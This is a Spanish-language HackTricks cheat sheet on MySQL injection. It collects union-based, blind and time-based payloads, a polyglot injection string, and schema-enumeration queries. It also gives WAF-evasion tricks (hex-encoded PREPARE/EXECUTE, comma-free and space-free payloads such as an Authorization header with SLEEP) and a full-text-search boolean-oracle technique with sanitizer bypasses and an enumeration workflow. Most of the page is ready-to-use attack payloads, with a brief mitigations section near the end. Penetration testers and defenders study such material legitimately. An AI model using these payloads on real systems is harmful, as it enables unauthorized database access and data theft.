MySQL injection
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Comentarios
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Funciones interesantes
Confirmar Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Funciones útiles
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Todas las inyecciones
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flujo
Recuerda que en las versiones "modernas" de MySQL puedes sustituir "information_schema.tables" por "mysql.innodb_table_stats" (Esto podría ser útil para evadir WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Solo 1 valor
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detectar número de columnas
Usando un simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Aprende aquí diferentes opciones para abuse a Mysql injection to obtain a SSRF.
Trucos para evadir WAF
Ejecutar consultas mediante Prepared Statements
Cuando las stacked queries están permitidas, podría ser posible evadir WAFs asignando a una variable la representación hexadecimal de la consulta que quieres ejecutar (usando SET), y luego usar las sentencias PREPARE y EXECUTE de MySQL para finalmente ejecutar la consulta. Algo así:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Para más información, consulte this blog post.
Alternativas a information_schema
Recuerda que en "modern" versiones de MySQL puedes sustituir information_schema.tables por mysql.innodb_table_stats o por sys.x$schema_flattened_keys o por sys.schema_table_statistics
MySQLinjection sin COMAS
Seleccionar 2 columnas sin usar ninguna coma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Recuperando valores sin el nombre de la columna
Si en algún momento conoces el nombre de la tabla pero no conoces los nombres de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra el flag, puedes intentar un bruteforce del contenido del flag probando carácter por carácter:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Más información en https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Algunas aplicaciones sanitizan o analizan la entrada del usuario con funciones como sscanf("%128s", buf) que se detienen en el primer carácter de espacio.
Dado que MySQL trata la secuencia /**/ como un comentario y como espacio en blanco, puede usarse para eliminar por completo los espacios normales del payload manteniendo la query sintácticamente válida.
Ejemplo de time-based blind injection que evita el filtro de espacios:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Que la base de datos recibe como:
' OR SLEEP(5)-- -'
Esto es especialmente útil cuando:
- El buffer controlable está restringido en tamaño (p. ej.
%128s) y los espacios terminarían prematuramente la entrada. - Inyectar a través de HTTP headers u otros campos donde los espacios normales se eliminan o se usan como separadores.
- Combinado con primitivas
INTO OUTFILEpara lograr RCE completo pre-auth (ver la sección MySQL File RCE).
Historial de MySQL
Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: sys.x$statement_analysis
Versión alternativas
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
Abuso de operadores de MySQL Full-Text Search (FTS) en BOOLEAN MODE (WOR)
Esto no es una SQL injection clásica. Cuando los desarrolladores pasan entrada de usuario a MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL ejecuta un conjunto rico de operadores de búsqueda booleanos dentro de la cadena entrecomillada. Muchas reglas WAF/SAST solo se centran en romper las comillas y no detectan esta superficie.
Puntos clave:
- Los operadores se evalúan dentro de las comillas:
+(debe incluirse),-(no debe incluirse),*(comodín de sufijo),"..."(frase exacta),()(agrupación),</>/~(pesos). Ver la documentación de MySQL. - Esto permite pruebas de presencia/ausencia y de prefijo sin romper el literal de cadena, p. ej.
AGAINST('+admin*' IN BOOLEAN MODE)para comprobar cualquier término que empiece conadmin. - Útil para construir oráculos como “¿alguna fila contiene un término con prefijo X?” y para enumerar cadenas ocultas mediante expansión por prefijo.
Ejemplo de consulta construida por el backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Si la aplicación devuelve respuestas diferentes dependiendo de si el conjunto de resultados está vacío (p. ej., redirección vs. mensaje de error), ese comportamiento se convierte en un Boolean oracle que puede usarse para enumerar datos privados como títulos ocultos/eliminados.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$), submitprefix*ZZ. The cleaner trims theZZbut leaves the*, soprefix*survives. - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26es&,%2Bes+. The trailingxD(or any two letters) is trimmed by the cleaner, preserving{FUZZ}*.- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
Enumeration workflow:
- Comienza con
{FUZZ} = a…z,0…9para encontrar first-letter matches vía+a*,+b*, … - Para cada prefijo positivo, ramifica:
a* → aa* / ab* / …. Repite hasta recuperar la cadena completa. - Distribuye las peticiones (proxies, múltiples cuentas) si la app aplica flood control.
Why titles often leak while contents don’t:
- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
Mitigations:
- Si no necesitas Boolean logic, usa
IN NATURAL LANGUAGE MODEo trata la entrada del usuario como literal (escapar/poner entre comillas desactiva operadores en otros modos). - Si se requiere Boolean mode, elimina o neutraliza todos los Boolean operators (
+ - * " ( ) < > ~) para cada token (sin cortes prematuros) después de la tokenización. - Aplica visibility/authorization filters antes del MATCH, o unifica las respuestas (constant timing/status) cuando el result set esté vacío vs. no vacío.
- Revisa características análogas en otros DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINStambién parsean operadores dentro de argumentos entre comillas.
Notas:
- Prepared statements no protegen contra el abuso semántico de
REGEXPu operadores de búsqueda. Una entrada como.*sigue siendo una regex permisiva incluso dentro deREGEXP '.*'entre comillas. Usa allow-lists o guardias explícitos.
Otras guías de MYSQL injection
Referencias
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks